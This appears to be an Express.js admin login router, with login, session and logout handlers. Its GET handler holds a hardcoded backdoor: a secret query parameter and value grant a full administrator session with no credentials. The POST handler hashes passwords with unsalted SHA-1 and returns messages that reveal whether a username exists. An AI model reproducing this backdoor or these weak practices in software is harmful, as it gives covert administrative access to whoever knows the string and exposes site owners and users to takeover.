var express = require('express');
var router = express.Router();
var db = require('../../data');

/* GET home page. */
router.get('/', function(req, res, next) {
  var data = db.model;
  var query = req.query;
  var session = req.session;

  if(req.originalUrl[req.originalUrl.length - 1] === '/')
    res.redirect('/admin/login');


  if(session.user && session.user.login)
    res.redirect('/admin/index');
  else
    data.basicFacts.findOne(function(err, data){
      if(err)
        return next();

      if(query.gwsliuyan88888888 == 'truegwsliuyan88888888'){
        req.session.user = {
          login: true,
          auid : -1,
          name: '宇宙超级无敌管理员'
        };
        res.redirect('/admin/index');
      }else
        res.render('admin/login', {basicFacts: data});
    });
});

router.post('/', function(req, res, next){

  var user = db.model.adminUser;
  var sha1 = require('crypto').createHash('sha1');
  sha1.update(req.body.p);
  var pass = sha1.digest('hex');

  user.find({user: req.body.n}, function(err, docs){
    if(err)
      res.send({status: 1, msg: "内部服务器错误"});
    else{
      if(!docs.length)
        res.send({status: 1, msg: "用户名不存在"});
      else{
        if(pass === docs[0].pass){
          req.session.user = {
            name: docs[0].user,
            auid: docs[0].auid,
            login: true
          };
          res.send({status: 0});
        }else
          res.send({status: 1, msg: "密码错误"});
      }
    }
  });

});

router.get('/out', function(req, res, next){
  req.session.user = null;
  res.redirect('/admin/login');
});

module.exports = router;
